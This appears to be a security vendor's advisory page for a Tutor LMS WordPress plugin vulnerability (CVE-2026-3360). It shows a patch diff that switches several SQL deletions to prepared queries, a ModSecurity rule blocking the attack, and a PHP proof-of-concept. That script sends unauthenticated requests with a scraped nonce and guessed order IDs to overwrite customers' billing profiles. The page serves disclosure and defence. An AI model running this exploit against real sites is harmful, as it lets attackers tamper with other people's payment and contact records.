+        'Brick\Money\' =>
         array (
             0 => __DIR__ . '/..' . '/brick/money/src',
         ),
-        'Brick\Math\' =>
+        'Brick\Math\' =>
         array (
             0 => __DIR__ . '/..' . '/brick/math/src',
         ),
@@ -78,9 +78,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInitf2a8e6585aad5cd4574a3da6c2080d0a::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInitf2a8e6585aad5cd4574a3da6c2080d0a::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInitf2a8e6585aad5cd4574a3da6c2080d0a::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit782d4c9085c0db1d1581d526ad727646::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit782d4c9085c0db1d1581d526ad727646::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit782d4c9085c0db1d1581d526ad727646::$classMap;

         }, null, ClassLoader::class);
     }
--- a/tutor/ecommerce/PaymentGateways/Paypal/vendor/composer/installed.php
+++ b/tutor/ecommerce/PaymentGateways/Paypal/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'themeum/tutor',
         'pretty_version' => '1.0.0',
         'version' => '1.0.0.0',
-        'reference' => NULL,
+        'reference' => null,
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -121,7 +121,7 @@
         'themeum/tutor' => array(
             'pretty_version' => '1.0.0',
             'version' => '1.0.0.0',
-            'reference' => NULL,
+            'reference' => null,
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/tutor/ecommerce/PaymentGateways/Paypal/vendor/composer/platform_check.php
+++ b/tutor/ecommerce/PaymentGateways/Paypal/vendor/composer/platform_check.php
@@ -19,8 +19,7 @@
             echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL;
         }
     }
-    trigger_error(
-        'Composer detected issues in your platform: ' . implode(' ', $issues),
-        E_USER_ERROR
+    throw new RuntimeException(
+        'Composer detected issues in your platform: ' . implode(' ', $issues)
     );
 }
--- a/tutor/helpers/QueryHelper.php
+++ b/tutor/helpers/QueryHelper.php
@@ -482,9 +482,9 @@
 		$ids = $wpdb->get_col( "SELECT comment_id FROM {$wpdb->comments} WHERE {$where}" );//phpcs:ignore

 		if ( is_array( $ids ) && count( $ids ) ) {
-			$ids_str = "'" . implode( "','", $ids ) . "'";
+			$in_clause = self::prepare_in_clause( $ids );
 			// delete comment metas.
-			$wpdb->query( "DELETE FROM {$wpdb->commentmeta} WHERE comment_id IN({$ids_str}) " );//phpcs:ignore
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->commentmeta} WHERE comment_id IN({$in_clause}) " ) );//phpcs:ignore
 			// delete comment.
 			$wpdb->query( "DELETE FROM {$wpdb->comments} WHERE {$where}" );//phpcs:ignore

@@ -514,9 +514,9 @@
 		$ids = $wpdb->get_col( "SELECT id FROM {$wpdb->posts} WHERE {$where}" );//phpcs:ignore

 		if ( is_array( $ids ) && count( $ids ) ) {
-			$ids_str = "'" . implode( "','", $ids ) . "'";
+			$in_clause = self::prepare_in_clause( $ids );
 			// delete post metas.
-			$wpdb->query( "DELETE FROM {$wpdb->postmeta} WHERE post_id IN({$ids_str}) " );//phpcs:ignore
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->postmeta} WHERE post_id IN({$in_clause}) " ) );//phpcs:ignore
 			// delete post.
 			$wpdb->query( "DELETE FROM {$wpdb->posts} WHERE {$where}" );//phpcs:ignore

--- a/tutor/includes/droip/vendor/autoload.php
+++ b/tutor/includes/droip/vendor/autoload.php
@@ -3,10 +3,20 @@
 // autoload.php @generated by Composer

 if (PHP_VERSION_ID < 50600) {
-    echo 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
-    exit(1);
+    if (!headers_sent()) {
+        header('HTTP/1.1 500 Internal Server Error');
+    }
+    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
+    if (!ini_get('display_errors')) {
+        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
+            fwrite(STDERR, $err);
+        } elseif (!headers_sent()) {
+            echo $err;
+        }
+    }
+    throw new RuntimeException($err);
 }

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInita91407656d66b1ad0a0c99a5567d747f::getLoader();
+return ComposerAutoloaderInit7bed7dba0f16abaa05df84de50be2640::getLoader();
--- a/tutor/includes/droip/vendor/composer/ClassLoader.php
+++ b/tutor/includes/droip/vendor/composer/ClassLoader.php
@@ -42,35 +42,37 @@
  */
 class ClassLoader
 {
-    /** @var ?string */
+    /** @var Closure(string):void */
+    private static $includeFile;
+
+    /** @var string|null */
     private $vendorDir;

     // PSR-4
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, int>>
+     * @var array<string, array<string, int>>
      */
     private $prefixLengthsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, array<int, string>>
+     * @var array<string, list<string>>
      */
     private $prefixDirsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr4 = array();

     // PSR-0
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, string[]>>
+     * List of PSR-0 prefixes
+     *
+     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
+     *
+     * @var array<string, array<string, list<string>>>
      */
     private $prefixesPsr0 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr0 = array();

@@ -78,8 +80,7 @@
     private $useIncludePath = false;

     /**
-     * @var string[]
-     * @psalm-var array<string, string>
+     * @var array<string, string>
      */
     private $classMap = array();

@@ -87,29 +88,29 @@
     private $classMapAuthoritative = false;

     /**
-     * @var bool[]
-     * @psalm-var array<string, bool>
+     * @var array<string, bool>
      */
     private $missingClasses = array();

-    /** @var ?string */
+    /** @var string|null */
     private $apcuPrefix;

     /**
-     * @var self[]
+     * @var array<string, self>
      */
     private static $registeredLoaders = array();

     /**
-     * @param ?string $vendorDir
+     * @param string|null $vendorDir
      */
     public function __construct($vendorDir = null)
     {
         $this->vendorDir = $vendorDir;
+        self::initializeIncludeClosure();
     }

     /**
-     * @return string[]
+     * @return array<string, list<string>>
      */
     public function getPrefixes()
     {
@@ -121,8 +122,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, array<int, string>>
+     * @return array<string, list<string>>
      */
     public function getPrefixesPsr4()
     {
@@ -130,8 +130,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirs()
     {
@@ -139,8 +138,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirsPsr4()
     {
@@ -148,8 +146,7 @@
     }

     /**
-     * @return string[] Array of classname => path
-     * @psalm-return array<string, string>
+     * @return array<string, string> Array of classname => path
      */
     public function getClassMap()
     {
@@ -157,8 +154,7 @@
     }

     /**
-     * @param string[] $classMap Class to filename map
-     * @psalm-param array<string, string> $classMap
+     * @param array<string, string> $classMap Class to filename map
      *
      * @return void
      */
@@ -175,24 +171,25 @@
      * Registers a set of PSR-0 directories for a given prefix, either
      * appending or prepending to the ones previously set for this prefix.
      *
-     * @param string          $prefix  The prefix
-     * @param string[]|string $paths   The PSR-0 root directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix
+     * @param list<string>|string $paths   The PSR-0 root directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @return void
      */
     public function add($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             if ($prepend) {
                 $this->fallbackDirsPsr0 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr0
                 );
             } else {
                 $this->fallbackDirsPsr0 = array_merge(
                     $this->fallbackDirsPsr0,
-                    (array) $paths
+                    $paths
                 );
             }

@@ -201,19 +198,19 @@

         $first = $prefix[0];
         if (!isset($this->prefixesPsr0[$first][$prefix])) {
-            $this->prefixesPsr0[$first][$prefix] = (array) $paths;
+            $this->prefixesPsr0[$first][$prefix] = $paths;

             return;
         }
         if ($prepend) {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixesPsr0[$first][$prefix]
             );
         } else {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
                 $this->prefixesPsr0[$first][$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -222,9 +219,9 @@
      * Registers a set of PSR-4 directories for a given namespace, either
      * appending or prepending to the ones previously set for this namespace.
      *
-     * @param string          $prefix  The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths   The PSR-4 base directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths   The PSR-4 base directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @throws InvalidArgumentException
      *
@@ -232,17 +229,18 @@
      */
     public function addPsr4($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             // Register directories for the root namespace.
             if ($prepend) {
                 $this->fallbackDirsPsr4 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr4
                 );
             } else {
                 $this->fallbackDirsPsr4 = array_merge(
                     $this->fallbackDirsPsr4,
-                    (array) $paths
+                    $paths
                 );
             }
         } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
@@ -252,18 +250,18 @@
                 throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
             }
             $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = (array) $paths;
+            $this->prefixDirsPsr4[$prefix] = $paths;
         } elseif ($prepend) {
             // Prepend directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixDirsPsr4[$prefix]
             );
         } else {
             // Append directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
                 $this->prefixDirsPsr4[$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -272,8 +270,8 @@
      * Registers a set of PSR-0 directories for a given prefix,
      * replacing any others previously set for this prefix.
      *
-     * @param string          $prefix The prefix
-     * @param string[]|string $paths  The PSR-0 base directories
+     * @param string              $prefix The prefix
+     * @param list<string>|string $paths  The PSR-0 base directories
      *
      * @return void
      */
@@ -290,8 +288,8 @@
      * Registers a set of PSR-4 directories for a given namespace,
      * replacing any others previously set for this namespace.
      *
-     * @param string          $prefix The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths  The PSR-4 base directories
+     * @param string              $prefix The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths  The PSR-4 base directories
      *
      * @throws InvalidArgumentException
      *
@@ -425,7 +423,8 @@
     public function loadClass($class)
     {
         if ($file = $this->findFile($class)) {
-            includeFile($file);
+            $includeFile = self::$includeFile;
+            $includeFile($file);

             return true;
         }
@@ -476,9 +475,9 @@
     }

     /**
-     * Returns the currently registered loaders indexed by their corresponding vendor directories.
+     * Returns the currently registered loaders keyed by their corresponding vendor directories.
      *
-     * @return self[]
+     * @return array<string, self>
      */
     public static function getRegisteredLoaders()
     {
@@ -555,18 +554,26 @@

         return false;
     }
-}

-/**
- * Scope isolated include.
- *
- * Prevents access to $this/self from included files.
- *
- * @param  string $file
- * @return void
- * @private
- */
-function includeFile($file)
-{
-    include $file;
+    /**
+     * @return void
+     */
+    private static function initializeIncludeClosure()
+    {
+        if (self::$includeFile !== null) {
+            return;
+        }
+
+        /**
+         * Scope isolated include.
+         *
+         * Prevents access to $this/self from included files.
+         *
+         * @param  string $file
+         * @return void
+         */
+        self::$includeFile = Closure::bind(static function($file) {
+            include $file;
+        }, null, null);
+    }
 }
--- a/tutor/includes/droip/vendor/composer/InstalledVersions.php
+++ b/tutor/includes/droip/vendor/composer/InstalledVersions.php
@@ -27,12 +27,23 @@
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;
@@ -98,7 +109,7 @@
     {
         foreach (self::getInstalled() as $installed) {
             if (isset($installed['versions'][$packageName])) {
-                return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']);
+                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
             }
         }

@@ -119,7 +130,7 @@
      */
     public static function satisfies(VersionParser $parser, $packageName, $constraint)
     {
-        $constraint = $parser->parseConstraints($constraint);
+        $constraint = $parser->parseConstraints((string) $constraint);
         $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

         return $provided->matches($constraint);
@@ -309,6 +320,24 @@
     {
         self::$installed = $data;
         self::$installedByVendor = array();
+
+        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+        // so we have to assume it does not, and that may result in duplicate data being returned when listing
+        // all installed packages for example
+        self::$installedIsLocalDir = false;
+    }
+
+    /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
     }

     /**
@@ -322,17 +351,27 @@
         }

         $installed = array();
+        $copiedLocalDir = false;

         if (self::$canGetVendors) {
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installed.php')) {
-                    $installed[] = self::$installedByVendor[$vendorDir] = require $vendorDir.'/composer/installed.php';
-                    if (null === self::$installed && strtr($vendorDir.'/composer', '\', '/') === strtr(__DIR__, '\', '/')) {
-                        self::$installed = $installed[count($installed) - 1];
+                    /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
+                    $required = require $vendorDir.'/composer/installed.php';
+                    self::$installedByVendor[$vendorDir] = $required;
+                    $installed[] = $required;
+                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
+                        self::$installed = $required;
+                        self::$installedIsLocalDir = true;
                     }
                 }
+                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
+                    $copiedLocalDir = true;
+                }
             }
         }

@@ -340,12 +379,17 @@
             // only require the installed.php file if this file is loaded from its dumped location,
             // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
             if (substr(__DIR__, -8, 1) !== 'C') {
-                self::$installed = require __DIR__ . '/installed.php';
+                /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
+                $required = require __DIR__ . '/installed.php';
+                self::$installed = $required;
             } else {
                 self::$installed = array();
             }
         }
-        $installed[] = self::$installed;
+
+        if (self::$installed !== array() && !$copiedLocalDir) {
+            $installed[] = self::$installed;
+        }

         return $installed;
     }
--- a/tutor/includes/droip/vendor/composer/autoload_real.php
+++ b/tutor/includes/droip/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInita91407656d66b1ad0a0c99a5567d747f
+class ComposerAutoloaderInit7bed7dba0f16abaa05df84de50be2640
 {
     private static $loader;

@@ -22,12 +22,12 @@
             return self::$loader;
         }

-        spl_autoload_register(array('ComposerAutoloaderInita91407656d66b1ad0a0c99a5567d747f', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit7bed7dba0f16abaa05df84de50be2640', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInita91407656d66b1ad0a0c99a5567d747f', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit7bed7dba0f16abaa05df84de50be2640', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInita91407656d66b1ad0a0c99a5567d747f::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInit7bed7dba0f16abaa05df84de50be2640::getInitializer($loader));

         $loader->register(true);

--- a/tutor/includes/droip/vendor/composer/autoload_static.php
+++ b/tutor/includes/droip/vendor/composer/autoload_static.php
@@ -4,17 +4,17 @@

 namespace ComposerAutoload;

-class ComposerStaticInita91407656d66b1ad0a0c99a5567d747f
+class ComposerStaticInit7bed7dba0f16abaa05df84de50be2640
 {
     public static $prefixLengthsPsr4 = array (
-        'T' =>
+        'T' =>
         array (
             'TutorLMSDroip\' => 14,
         ),
     );

     public static $prefixDirsPsr4 = array (
-        'TutorLMSDroip\' =>
+        'TutorLMSDroip\' =>
         array (
             0 => __DIR__ . '/../..' . '/backend',
         ),
@@ -27,9 +27,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInita91407656d66b1ad0a0c99a5567d747f::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInita91407656d66b1ad0a0c99a5567d747f::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInita91407656d66b1ad0a0c99a5567d747f::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit7bed7dba0f16abaa05df84de50be2640::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit7bed7dba0f16abaa05df84de50be2640::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit7bed7dba0f16abaa05df84de50be2640::$classMap;

         }, null, ClassLoader::class);
     }
--- a/tutor/includes/droip/vendor/composer/installed.php
+++ b/tutor/includes/droip/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'droip/tutor-droip-elements',
         'pretty_version' => '1.0.0',
         'version' => '1.0.0.0',
-        'reference' => NULL,
+        'reference' => null,
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'droip/tutor-droip-elements' => array(
             'pretty_version' => '1.0.0',
             'version' => '1.0.0.0',
-            'reference' => NULL,
+            'reference' => null,
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/tutor/models/CourseModel.php
+++ b/tutor/models/CourseModel.php
@@ -506,9 +506,9 @@

 						$questions_ids = $wpdb->get_col( $wpdb->prepare( "SELECT question_id FROM {$wpdb->prefix}tutor_quiz_questions WHERE quiz_id = %d ", $content_id ) );
 						if ( is_array( $questions_ids ) && count( $questions_ids ) ) {
-							$in_question_ids = "'" . implode( "','", $questions_ids ) . "'";
+							$in_clause = QueryHelper::prepare_in_clause( $questions_ids );
 							//phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-							$wpdb->query( "DELETE FROM {$wpdb->prefix}tutor_quiz_question_answers WHERE belongs_question_id IN({$in_question_ids}) " );
+							$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->prefix}tutor_quiz_question_answers WHERE belongs_question_id IN({$in_clause}) " ) );
 						}
 						$wpdb->delete( $wpdb->prefix . 'tutor_quiz_questions', array( 'quiz_id' => $content_id ) );
 					}
--- a/tutor/models/QuizModel.php
+++ b/tutor/models/QuizModel.php
@@ -446,7 +446,7 @@
 	}

 	/**
-	 * Delete quizattempt for user
+	 * Delete quiz attempt for user
 	 *
 	 * @since 1.9.5
 	 *
@@ -457,17 +457,15 @@
 	public static function delete_quiz_attempt( $attempt_ids ) {
 		global $wpdb;

-		// Singlular to array.
+		// Singular to array.
 		! is_array( $attempt_ids ) ? $attempt_ids = array( $attempt_ids ) : 0;

 		if ( count( $attempt_ids ) ) {
-			$attempt_ids = implode( ',', $attempt_ids );
+			$attempt_ids = QueryHelper::prepare_in_clause( $attempt_ids );

-			//phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 			// Deleting attempt (comment), child attempt and attempt meta (comment meta).
-			$wpdb->query( "DELETE FROM {$wpdb->prefix}tutor_quiz_attempts WHERE attempt_id IN($attempt_ids)" );
-			$wpdb->query( "DELETE FROM {$wpdb->prefix}tutor_quiz_attempt_answers WHERE quiz_attempt_id IN($attempt_ids)" );
-			//phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->prefix}tutor_quiz_attempts WHERE attempt_id IN({$attempt_ids})" ) ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->prefix}tutor_quiz_attempt_answers WHERE quiz_attempt_id IN({$attempt_ids})" ) ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared

 			do_action( 'tutor_quiz/attempt_deleted', $attempt_ids );
 		}
@@ -509,7 +507,7 @@

 		$search_filter   = $search_filter ? '%' . $wpdb->esc_like( $search_filter ) . '%' : '';
 		$search_term_raw = $search_filter;
-		$search_filter   = $search_filter ? "AND ( users.user_email = '{$search_term_raw}' OR users.display_name LIKE {$search_filter} OR quiz.post_title LIKE {$search_filter} OR course.post_title LIKE {$search_filter} )" : '';
+		$search_filter   = $search_filter ? $wpdb->prepare( 'AND ( users.user_email = %s OR users.display_name LIKE %s OR quiz.post_title LIKE %s OR course.post_title LIKE %s )', $search_term_raw, $search_filter, $search_filter, $search_filter ) : '';

 		$course_filter = 0 !== $course_filter ? " AND quiz_attempts.course_id = $course_filter " : '';
 		$date_filter   = '' != $date_filter ? tutor_get_formated_date( 'Y-m-d', $date_filter ) : '';
--- a/tutor/tutor.php
+++ b/tutor/tutor.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://tutorlms.com
  * Description: Tutor is a complete solution for creating a Learning Management System in WordPress way. It can help you to create small to large scale online education site very conveniently. Power features like report, certificate, course preview, private file sharing make Tutor a robust plugin for any educational 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3360
# Block unauthenticated attempts to exploit the missing authorization in Tutor LMS pay_incomplete_order()
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20263360,phase:2,deny,status:403,chain,msg:'CVE-2026-3360: Unauthenticated Tutor LMS billing profile overwrite attempt',severity:'CRITICAL',tag:'CVE-2026-3360',tag:'WordPress',tag:'Plugin/Tutor-LMS'"
  SecRule ARGS_POST:action "@streq tutor_pay_incomplete_order" "chain"
    SecRule &REQUEST_COOKIES:/^wordpress_logged_in_/ "@eq 0" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3360 - Tutor LMS <= 3.9.7 - Missing Authorization to Unauthenticated Arbitrary Billing Profile Overwrite via 'order_id' Parameter

<?php

$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';

// Step 1: Extract a valid _tutor_nonce from a public page
// The nonce is exposed on frontend pages like course pages or checkout pages
// This example assumes we've already obtained a valid nonce
$tutor_nonce = 'EXTRACTED_NONCE_VALUE';

// Step 2: Guess or enumerate an order_id
// Order IDs are typically sequential integers
$order_id = 12345;

// Step 3: Prepare malicious billing data to overwrite the victim's profile
$billing_data = [
    'action' => 'tutor_pay_incomplete_order',
    '_tutor_nonce' => $tutor_nonce,
    'order_id' => $order_id,
    'payment_method' => 'manual',
    'billing_first_name' => 'Malicious',
    'billing_last_name' => 'Attacker',
    'billing_email' => 'attacker@example.com',
    'billing_phone' => '+1234567890',
    'billing_address_1' => 'Malicious Address',
    'billing_city' => 'Hackerville',
    'billing_state' => 'HS',
    'billing_postcode' => '12345',
    'billing_country' => 'US'
];

// Step 4: Send the exploit request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $billing_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Add headers to mimic legitimate browser request
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With: XMLHttpRequest'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 5: Check for success
if ($http_code === 200) {
    echo "Exploit attempt completed. Check if billing profile was overwritten.n";
    echo "Response: " . $response . "n";
} else {
    echo "Request failed with HTTP code: " . $http_code . "n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School